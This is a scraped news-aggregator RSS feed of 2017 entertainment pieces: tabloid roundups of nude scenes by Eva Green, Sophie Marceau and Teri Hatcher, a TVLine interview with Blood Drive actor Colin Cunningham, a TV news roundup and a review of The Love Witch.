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]]> https://briefnews.eu/milla-jovovich-stripped-bare-watch-her-sexiest-scenes-and-full-frontal-shock/feed/ 0 Eva Green FULL FRONTAL in Sin City and more: Sinfully sexiest X-rated scenes and pictures https://briefnews.eu/eva-green-full-frontal-in-sin-city-and-more-sinfully-sexiest-x-rated-scenes-and-pictures/ https://briefnews.eu/eva-green-full-frontal-in-sin-city-and-more-sinfully-sexiest-x-rated-scenes-and-pictures/#respond Mon, 11 Sep 2017 00:29:26 +0000 http://briefnews.eu/eva-green-full-frontal-in-sin-city-and-more-sinfully-sexiest-x-rated-scenes-and-pictures/

Sin City: A Dame To Kill For is back on UK television screens later tonight.

The outrageous movie mixes violence and nudity in four interconnected stories and is the perfect vehicle for the French beauty.

Eva Green has never shied away from nudity, sex or violence in a remarkable career which mixes art house with commericial blockbusters. This dame to kill for certainly has a figure that many women would do almost anything to have, and she’s not afraid to use it.

Scroll down for a gallery of her sexiest momenst and clips from some of her most provocative roles.

WARNING: NUDITY AND SEXUAL CONTENT

There are more than fifty shades of S&M leather and licentiousness in 2014’s outrageous Sin City: A Dame To Kill For.

Green steams up the screen with Josh Brolin in the unabashedly OTT graphic novel adaptation of Frank Millers boundary-pushing adult comics. The movie also stars Mickey Rourke, Jessica Alba and Rosario Dawson.

Watch two eye-popping scenes next.

300: Rise of the Empire may have been ostensibly about muscle-bound Greek and Persian warriors duking it out, but one woman was more than a match for all of them.

On or off the battlefield, Green’s deadly Artemisia was a killer queen. In or out of clothes she is impossible to resist or overcome. 

Perfect Sense sees Green and Ewan McGregor attempt negotiate the mysteries that lie between the two sexes. Trying to do it in a bath makes perfect sense, of course. At least it is clean. In a manner of speaking…

Time for another bath scene, but this one is splashing around in the mythical age of king Arthur. In the ill-fated 2011 TV show Camelot, Green shone as the wicked Morgana. 

Her Gallic gorgeousness and effortless sensuality was wasted on a show that tried to be Game of Thrones but was less hit and more myth.

SIN CITY: A DAME TO KILL FOR IS ON CHANNEL 4 AT 11.35PM ON SUNDAY, SEPTEMBER 10

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]]> https://briefnews.eu/eva-green-full-frontal-in-sin-city-and-more-sinfully-sexiest-x-rated-scenes-and-pictures/feed/ 0 James Bond beauty Sophie Marceau X-rated FULL FRONTAL sex scenes revealed https://briefnews.eu/james-bond-beauty-sophie-marceau-x-rated-full-frontal-sex-scenes-revealed/ https://briefnews.eu/james-bond-beauty-sophie-marceau-x-rated-full-frontal-sex-scenes-revealed/#respond Fri, 18 Aug 2017 22:26:34 +0000 http://briefnews.eu/james-bond-beauty-sophie-marceau-x-rated-full-frontal-sex-scenes-revealed/

Marceau is back on UK screens on Saturday night in the Bond classic The World Is Not Enough.

Away from the restrictios of Hollywood, the gorgeous Gallic star is not afraid to strip in her movies. From teenage exploration and innocent shower scenes to brutal prison moments, she steams up the screen in a succession of raunchy roles.

She made her debut at 14 in 1980’s La Boum but became a najor sex symbol at 20 with the release of Descent Into Hell in 1986.

NEXT: SOPHIE MARCEAU’S SEXIEST PICTURE GALLERY AND CLIPS (WARNING: ADULT CONTENT AND NUDITY)

In 1988’s historical drama Choans, the French star frolics naked on a beach with her lover. The film was based on the Balzac novel Les Choans, about a woman torn between two brothers.

It is easy to see why entire families would fall for the curvy charms of the bathing beauty.

She also emerges naked from the sea as the titular character in 1993’s frothy romatic comedy FanFan but things get far more explicit in the torrid Firelight. The 1997 historical romance with Stephen Dillane follows teh complicated journey of a governess who agrees to bear a child for a rich man.

Even with the Spanish music soundtrack imposed over montage of the clips from Firelight, Marceau’s sensuality and sexuality blazes.

There is topless sunbathing and beach sex in 1986’s Descent Into Hell about a beautiful young woman married to a much older writer. Things turn from sensual to sinister after he accidentally kills another man.

DANIEL CRAIG HAS CONFIRMED HE WILL MAKE ONE LAST JAMES BOND MOVIE – WATCH HIS ANNOUNCEMENT NEXT

Marceau made the frisky romcom The Student in 1988, followed by more naked fun the next year in My Nights Are More Beautiful Than Your Days

The most recent film in the gallery above is the provocative and rather harrowing Jailbirds from 2015. The star plays a woman who voluntaily goes to prison to save her boyfriend. 

Her prolific and extremely varied filmography demonstartes that, as with much of European cinema, nudity serves the plot and may be integral to the action but is simply another aspect of portraying a wide range of lives and experiences.

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]]> https://briefnews.eu/james-bond-beauty-sophie-marceau-x-rated-full-frontal-sex-scenes-revealed/feed/ 0 James Bond beauty Teri Hatcher in FULL FRONTAL shock: Her sexiest scenes and pictures ever https://briefnews.eu/james-bond-beauty-teri-hatcher-in-full-frontal-shock-her-sexiest-scenes-and-pictures-ever/ https://briefnews.eu/james-bond-beauty-teri-hatcher-in-full-frontal-shock-her-sexiest-scenes-and-pictures-ever/#respond Sat, 12 Aug 2017 00:18:34 +0000 http://briefnews.eu/james-bond-beauty-teri-hatcher-in-full-frontal-shock-her-sexiest-scenes-and-pictures-ever/

The actress has had a remarkable career with numerous resurgences based on her natural sex appeal combined with an irresistible comedic flair.

From her breakthrough television role in Lois and clark: The New Adventures of Superman to Desperate Housewives, she dominated the small screen for decades and was a clean-cut sex symbol for multiple generations.

Her most famous film role is as the slightly tame Paris Carver in the 1997 Bond outing Tomorrow Never Dies, which is back on UK TV screens this weekend. However, many of her earlier big screen roles displayed a raw sexuality and willingness to bare all in controversial roles.

Watch her sexiest moments on screen next.

WARNING: SCENES OF AN EXPLICIT AND SEXUAL NATURE

While she was starring as the wholesome Lois Lane on Lois and Clark from 1993, Hatcher chased sexier and more adult roles in film.

Dark erotic thrilller The Cool Surface in 1994 features frequent nudity and some racey and rather kinky sex scenes.

The 1994 movie about a romance between a writer, played by Robert Patrick of Terminator fame, and Hatcher’s married temptress starts off steamy but ends very, very badly.

1996’s Heaven’s Prisoners with Alec Baldwin also features lots of erotic tension and a similarly troubled relationship at its core.

The first scene above is the sensational moment Baldwin sees Hatcher waiting for him on the balcony of the impression plantation mansion. Totally naked.

The brunette beauty shows remarkable composure as she stands there out in full view and challenges the stunned Baldwin to react.

In the other provocative scene, Hatcher slowly unzips her demure cardigan to reveal the lacey bra underneath.

As Baldwin watches, she erotically caresses herself.

Ther is plenty more tempting of willing men in a classic scene from 1989’s Tango and Cash. Although the film is still famous for the sight of Kurt Russell and Sylvester Stallone naked in the prison showers, Hatcher holds her own as exotic dancer Kiki.

Hatcher also showed she was always game for a laugh through the run of smash hit show Loids and Clark: The New Adventures of Superman.

In the scene above, the crime fighting pair go undercover at the police station.

Hatcher looks very fetching in a red PVC corset. Although it has the desired effect on the prisoner, it makes little difference to Clark, of course. He can always see right through whatever she is wearing.

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]]> https://briefnews.eu/james-bond-beauty-teri-hatcher-in-full-frontal-shock-her-sexiest-scenes-and-pictures-ever/feed/ 0 Blood Drive's Colin Cunningham Details the Evolution of Slink — Plus: How He Asked for (And Got) Full Frontal Nudity https://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/ https://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/#respond Wed, 26 Jul 2017 01:55:19 +0000 http://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/ Blood Drive‘s titular race for years had been a subversive affair sneaked to lookie-loos via closed-circuit TV. But as the gauntlet gained a following, evil overlord Heart Enterprises stepped forward with a national broadcast and (gasp/ugh) “notes.”

Julian Slink — the race’s Master of Mayhem — at first waved off the input, steadfastly “trying to retain his integrity as an artist, to come up with something of worth that is meaningful,” says portrayer Colin Cunningham. Or at least “something of worth” as pertains a contest where the cars are fueled by ill-gotten human blood. But in this Wednesday’s episode (airing at 10/9 on Syfy), Slink is pink-slipped and sent to grisly fate.

TVLine spoke with Falling Skies alum Cunningham about the serendipity that brought him and Slink together, his crafting of so vivid a characterization and the “bats–t bonkers” episode on tap for this week.

TVLINE | I didn’t follow the casting of this series at all, so as I watched the first episode, it got to a point where I was like, “Is that Colin Cunningham…?” On top of everything else, you seem leaner than your Falling Skies days.
He’s called Slink, not Chubs, so I had to drop about 12, 15 pounds, just to get that little bit of the wiriness going on, man. You needed it for a character like that. It took a little while, but it’s an incredible part. The show is freakin’ nuts, but the role is so great.

TVLINE | Series creator James Roland told that you brought something “extra” when you read for the role via Skype….
Yeah, off-camera I took a big “hit” of one of those vape cigarettes, and I walked towards the camera and it’s slowly coming out of my mouth as I speak my first lines. It was fun.

TVLINE | Were there any inspirations, real of fictional, that seeded your portrayal?
Well, Slink’s kind of an amalgamation of four of my favorite actors. There’s definitely some Gene Wilder going on there. You’ve got Tim Curry from The Rocky Horror Picture Show. And Joel Grey from Cabaret. But also, very much so, there’s a wonderful character actor by the name of Frank Nelson. He used to work with Jack Benny back in the ’40s and ’50s and his catchphrase was, “Why, yessssssss!” (Watch a “best of” reel here.) If you ever watched any reruns on TV, that was his thing. I got to bring a bit of his spirit into the whole affair.

TVLINE | Did you bring anything to Slink’s look, or was that all the show?
I’ve got to say, man, this is one of those synchronicity/serendipity kinds of gigs. What I wore for the audition, and the make-up that I did, was almost identical to what we did [on the show]. It was amazing.

TVLINE | And the top hat…?
This is the craziest story, and God strike me dead if I’m telling one word of a lie: I’m crashing at my parents’ place — my dad was away, it was just me and my mom — when I get this audition. It describes him as having a top hat, and I’m thinking, “Where the hell am I going to find a top hat??” I’m in my dad’s closet going through his clothes looking for this kind of coat, that kind of coat, when I look up on the shelf and there’s a box. I open it up and its a frickin’ top hat! I’m like, “Mommmm! Dads’ got a top hat in here!” She swears, “I’ve never seen that before in my life, I have no idea how that got in there.”

My dad later said he got it years ago for Halloween or whatever, but it was the weirdest thing, man! Dude, it still shocks me. What are the odds of anybody having a top hat in their house?! The whole show has been very much like that. When I got to Cape Town, it was almost like arriving at Devil’s Mountain in Close Encounters, like the cast and crew wasn’t hired but “called” to be there. I was carving top hats in my mashed potatoes. [Laughs] I’m still buzzing from it all — and all for a crazy show about engines that eat people!

TVLINE | What I find interesting about Slink is that he’s not in total control, he’s not some unchecked overlord. In fact, he’s got some insecurities.
Yep. Yep. I’ll tell you, it’s the absolutely most complex and most dynamic character Iv’e ever been gifted. It was like winning the lottery. It was also without a doubt the most challenging role I’ve ever had in my life, because he’s not one guy, he’s 100 guys. And those 100 guys are all different guys within a context. In front of the audience he’s the Master of Mayhem, when he’s talking to Arthur he’s a different guy, in front of Old Man Heart…..He has a relationship with history with every character he interacts with. And then he’s got his own stuff on top of it all. I’ve never worked so hard on something. The challenge was to see if I could pull off even 10 percent of what I went for. This was a no-budget production and you had to hit the bricks running, so I spent weeks working on scenes and variations of scenes….. It was the most creative thing I’ve ever done in my life.

TVLINE | What is Slink’s next play in the name of job security? They can’t kill because of the “holding deal,” and James said this week’s episode is a bit of showcase for you.
Well, they take the Blood Drive away from Slink, and he’s reduced to absolute bottom of the barrel; he becomes a janitor at Heart Enterprises. He’s got to figure out a way of getting the Blood Drive back, and it’s quite the hoot. It’s one of my favorite episodes because there is so much going on. It’s called “The Gentleman’s Agreement,” and Andrew Hall (as The Gentleman) is fantastic in it, Darren Kent (The Scholar) has an awesome storyline, there’s a monster in it…. Its’ just absolutely bats–t bonkers.

TVLINE | Burning question: the gal we glimpsed a couple weeks ago, with the doll head for a head, is she, like, one of Slink’s girlfriends…?
[Laughs] I refer to her as “the Mrs.” That was the brainchild of James Roday, who directed two of those episodes. The scene was just Slink talking to Arthur and Grace, and James said, “Miss? You over there with the baby’s head….” So she was on my arm. We tried to ring her back but it ended up getting cut or whatever.

TVLINE | And what was going on in the scene where Slink is holding a guy’s tea with his toes?
Again, that was Roday and his insanity, and the brilliant Carel Nel (as Rasher). He wanted to do the scene close up, and then pull back to reveal that Slink is in his “den,” backstage. And we thought, “What if we revealed more than that?” [After several suggestions] it became, “What if I was holding a tea cup in my toes, and Rasher had a long straw going into the tea cup while he was on his back riding a stationary bicycle?” Perfect, go with that! And then it was like, “How about I do it in a pair of tighty-whitey Fruit of  the Looms?” Perfect! That’s how crazy this show was. Creativity incarnate.

TVLINE | Was there anything that you were shocked made it in?
I was shocked, and I’m the one who suggested it. I’m the only [actor] to suggest and to get a full frontal nude shot. I do full frontal, and it’s coming up in Episode 12, “Faces of Blood Drive.” I pitched the idea to David Straiton and it totally works. We did it, we shot it and it made the cut!

Want more scoop on Blood Drive, or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/feed/ 0 TVLine Items: Mr. Robot's New G-Man, Full Frontal WHCD Promo and More https://briefnews.eu/tvline-items-mr-robots-new-g-man-full-frontal-whcd-promo-and-more/ https://briefnews.eu/tvline-items-mr-robots-new-g-man-full-frontal-whcd-promo-and-more/#respond Fri, 07 Apr 2017 20:49:38 +0000 http://briefnews.eu/tvline-items-mr-robots-new-g-man-full-frontal-whcd-promo-and-more/

More feds are coming after Mr. Robot.

Rizwan Manji (Outsourced) will recur during Season 3 of the USA Network drama as Norm, the new partner of Grace Gummer’s FBI agent Dominique DiPierro, our sister site Deadline reports.

RELATEDMr. Robot Season 3 Pushed to October, Bobby Cannavale Joins Cast

Norm will work with Dominique to investigate the Five/Nine hack.

Manji currently recurs on Syfy’s The Magicians. His other TV credits include Schitt’s Creek, Backstrom and Better Off Ted.

Ready for more of today’s newsy nuggets? Well…

* Check out a teaser promo for the Full Frontal With Samantha Bee special Not the White House Correspondents’ Dinner, airing Saturday, April 29 at 10/9c on TBS:

RELATED Samantha Bee, TBS to Host Rival White House Correspondents’ Dinner

* SundanceTV will air the first season of Amazon’s Transparent late this summer, Deadline reports.

* AARP Studios has released the first footage from the 10-episode series Dinner With Don, which marks the late Don Rickles’ final TV project. The series — which features Rickles dining with friends and fellow comedians, such as Billy Crystal, Jimmy Kimmel, Amy Poehler and Paul Rudd — does not yet have a release date or distributor.

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]]> https://briefnews.eu/tvline-items-mr-robots-new-g-man-full-frontal-whcd-promo-and-more/feed/ 0 The Love Witch: Full frontal nudity, sex and shocks – Is this movie SEXPLOITATION or art? https://briefnews.eu/the-love-witch-full-frontal-nudity-sex-and-shocks-is-this-movie-sexploitation-or-art/ https://briefnews.eu/the-love-witch-full-frontal-nudity-sex-and-shocks-is-this-movie-sexploitation-or-art/#respond Thu, 02 Mar 2017 02:03:25 +0000 http://briefnews.eu/the-love-witch-full-frontal-nudity-sex-and-shocks-is-this-movie-sexploitation-or-art/

The movie has been causing quite a stir at screenings and festivals up and down the country. It boldly mixes sex, sexuality and horror in a sizzling and somewhat disturbing mix.

The ladies are lovely and frequently naked, but often come out on top – and not just in bed.

So who are the victims in this stylish and provocative reimaging of old-school sexploitation flicks and kitch horror?

Watch the trailer next.

Leading lady Robinson is radiant and ravishing in a role that deserves to be her breakout.

Her character Elaine charms and seduces the men on screen and the audience alike. She is witty, whimsical, sexy and sinister.

The Love Witch is a lusty and lavish love letter to the bygone era of 1960s sexploitation and low-budget horror that is like noting else in cinemas today. 

Shot on old-fashioned 35mm film with sets and costumes creating a retro collage of bright colours in soft focus, the film effortlessly conjures up warm feelings of naughty nostalgia.

However it is not just a homage to the past, The Love Witch is also bursting with sly modern commentaries on narcissism, femininity and feminism.

Behind the bejewelled curtain, Anna Biller showcased her talent as director, writer, composer and designer – juggling the roles with impressive ease, expertise and precision.

Feminism and sexuality have often been in disagreement as of late, with critics quick to argue whether the latter’s expression is empowerment, or further evidence of patriarchal shackles.

To offer an alternate viewpoint, enter Anna Biller, the independent auteur whose trademark flair for the vibrant and vintage crafts the perfect stage for the next debate, in technicolor thriller tribute The Love Witch.

“You might say, I’m addicted to love” admits Elaine (Samantha Robinson), a young witch perhaps best described as a mid-way point between hopeless romantic and succubus.

No man is off limits for the spells conjured in her interestingly-fashioned gothic apartment, although their potency defies expectations – leaving a string of hapless, broken victims in her wake.

When she finally finds true love however, what will become of the woman who herself has driven many a man over the brink?

The Love Witch is coming to UK Cinemas, Digital Download and VOD on March 10

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Daily Express :: Entertainment Feed

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